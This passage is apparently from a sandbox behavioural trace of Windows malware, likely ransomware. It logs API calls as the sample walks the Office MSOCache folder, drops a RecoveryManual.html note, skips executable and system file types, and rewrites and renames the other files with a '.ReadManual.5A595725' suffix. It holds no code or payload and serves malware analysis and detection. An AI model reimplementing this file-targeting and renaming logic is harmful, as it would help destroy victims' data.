(in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0194.465] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0194.465] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91975) returned 0x25b0000 [0194.480] UnmapViewOfFile (lpBaseAddress=0x25b0000) returned 1 [0194.481] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31514959287) returned 1 [0194.481] CloseHandle (hObject=0x194) returned 1 [0194.481] SetSecurityInfo () returned 0x57 [0194.481] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0194.481] CloseHandle (hObject=0x190) returned 1 [0194.489] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0194.489] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0194.489] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0194.489] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0194.490] CloseHandle (hObject=0x190) returned 1 [0194.490] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0194.490] lstrcpyW (in: lpString1=0x6ab922, lpString2="DW20.EXE" | out: lpString1="DW20.EXE") returned="DW20.EXE" [0194.490] lstrcmpiW (lpString1="DW20.EXE", lpString2="RecoveryManual.html") returned -1 [0194.490] StrStrIW (lpFirst="DW20.EXE", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.490] StrCmpIW (psz1="EXE", psz2="exe") returned 0 [0194.490] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0194.490] lstrcpyW (in: lpString1=0x6ab922, lpString2="dwdcw20.dll" | out: lpString1="dwdcw20.dll") returned="dwdcw20.dll" [0194.490] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="RecoveryManual.html") returned -1 [0194.490] StrStrIW (lpFirst="dwdcw20.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.491] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0194.491] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0194.491] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0194.491] lstrcpyW (in: lpString1=0x6ab922, lpString2="dwtrig20.exe" | out: lpString1="dwtrig20.exe") returned="dwtrig20.exe" [0194.491] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="RecoveryManual.html") returned -1 [0194.491] StrStrIW (lpFirst="dwtrig20.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.491] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0194.491] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0194.491] lstrcpyW (in: lpString1=0x6ab922, lpString2="Microsoft.VC90.CRT.manifest" | out: lpString1="Microsoft.VC90.CRT.manifest") returned="Microsoft.VC90.CRT.manifest" [0194.491] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="RecoveryManual.html") returned -1 [0194.491] StrStrIW (lpFirst="Microsoft.VC90.CRT.manifest", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.491] StrCmpIW (psz1="manifest", psz2="exe") returned 1 [0194.491] StrCmpIW (psz1="manifest", psz2="dll") returned 1 [0194.491] StrCmpIW (psz1="manifest", psz2="sys") returned -1 [0194.491] StrCmpIW (psz1="manifest", psz2="msi") returned -1 [0194.491] StrCmpIW (psz1="manifest", psz2="mui") returned -1 [0194.491] StrCmpIW (psz1="manifest", psz2="inf") returned 1 [0194.491] StrCmpIW (psz1="manifest", psz2="cat") returned 1 [0194.491] StrCmpIW (psz1="manifest", psz2="bat") returned 1 [0194.491] StrCmpIW (psz1="manifest", psz2="cmd") returned 1 [0194.491] StrCmpIW (psz1="manifest", psz2="ps1") returned -1 [0194.491] StrCmpIW (psz1="manifest", psz2="vbs") returned -1 [0194.492] StrCmpIW (psz1="manifest", psz2="ttf") returned -1 [0194.492] StrCmpIW (psz1="manifest", psz2="fon") returned 1 [0194.492] StrCmpIW (psz1="manifest", psz2="lnk") returned 1 [0194.492] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" [0194.492] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.ReadManual.5A595725" [0194.492] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.ReadManual.5A595725") returned 114 [0194.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31516056785) returned 1 [0194.494] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0194.494] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0194.495] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1857) returned 1 [0194.495] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x741, lpName=0x0) returned 0x194 [0194.495] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf4) returned 1 [0194.495] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.495] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0194.497] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0194.497] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x741) returned 0x2f0000 [0194.497] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0194.497] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31516576215) returned 1 [0194.497] CloseHandle (hObject=0x194) returned 1 [0194.497] SetSecurityInfo () returned 0x57 [0194.497] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0194.497] CloseHandle (hObject=0x190) returned 1 [0194.497] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0194.497] lstrcpyW (in: lpString1=0x6ab922, lpString2="msvcr90.dll" | out: lpString1="msvcr90.dll") returned="msvcr90.dll" [0194.497] lstrcmpiW (lpString1="msvcr90.dll", lpString2="RecoveryManual.html") returned -1 [0194.497] StrStrIW (lpFirst="msvcr90.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.497] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0194.497] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0194.497] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0194.498] lstrcpyW (in: lpString1=0x6ab922, lpString2="OfficeLR.cab" | out: lpString1="OfficeLR.cab") returned="OfficeLR.cab" [0194.498] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="RecoveryManual.html") returned -1 [0194.498] StrStrIW (lpFirst="OfficeLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.498] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0194.498] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0194.498] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0194.498] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" [0194.498] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.ReadManual.5A595725" [0194.498] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.ReadManual.5A595725") returned 99 [0194.498] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31516686706) returned 1 [0194.498] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0194.498] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0194.498] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=14127746) returned 1 [0194.498] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd79282, lpName=0x0) returned 0x194 [0194.499] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0194.499] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.499] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0194.501] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0194.501] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd79282) returned 0x4350000 [0194.967] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0194.999] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31566762684) returned 1 [0194.999] CloseHandle (hObject=0x194) returned 1 [0194.999] SetSecurityInfo () returned 0x57 [0194.999] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0194.999] CloseHandle (hObject=0x190) returned 1 [0194.999] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0194.999] lstrcpyW (in: lpString1=0x6ab922, lpString2="OfficeMUI.msi" | out: lpString1="OfficeMUI.msi") returned="OfficeMUI.msi" [0195.000] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="RecoveryManual.html") returned -1 [0195.000] StrStrIW (lpFirst="OfficeMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.000] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0195.000] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0195.000] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0195.000] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0195.000] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0195.000] lstrcpyW (in: lpString1=0x6ab922, lpString2="OfficeMUI.xml" | out: lpString1="OfficeMUI.xml") returned="OfficeMUI.xml" [0195.000] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="RecoveryManual.html") returned -1 [0195.000] StrStrIW (lpFirst="OfficeMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.000] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0195.000] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0195.000] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" [0195.000] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.ReadManual.5A595725" [0195.000] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.ReadManual.5A595725") returned 100 [0195.000] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31566908302) returned 1 [0195.000] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0195.001] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0195.001] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=5557) returned 1 [0195.001] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b5, lpName=0x0) returned 0x194 [0195.001] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0195.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.002] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0195.004] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0195.004] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15b5) returned 0x2f0000 [0195.004] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0195.004] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31567270180) returned 1 [0195.004] CloseHandle (hObject=0x194) returned 1 [0195.004] SetSecurityInfo () returned 0x57 [0195.004] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0195.004] CloseHandle (hObject=0x190) returned 1 [0195.004] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0195.004] lstrcpyW (in: lpString1=0x6ab922, lpString2="OfficeMUISet.msi" | out: lpString1="OfficeMUISet.msi") returned="OfficeMUISet.msi" [0195.004] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="RecoveryManual.html") returned -1 [0195.004] StrStrIW (lpFirst="OfficeMUISet.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.004] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0195.004] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0195.005] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0195.005] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0195.005] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0195.005] lstrcpyW (in: lpString1=0x6ab922, lpString2="OfficeMUISet.xml" | out: lpString1="OfficeMUISet.xml") returned="OfficeMUISet.xml" [0195.005] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="RecoveryManual.html") returned -1 [0195.005] StrStrIW (lpFirst="OfficeMUISet.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.005] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0195.005] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0195.005] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") 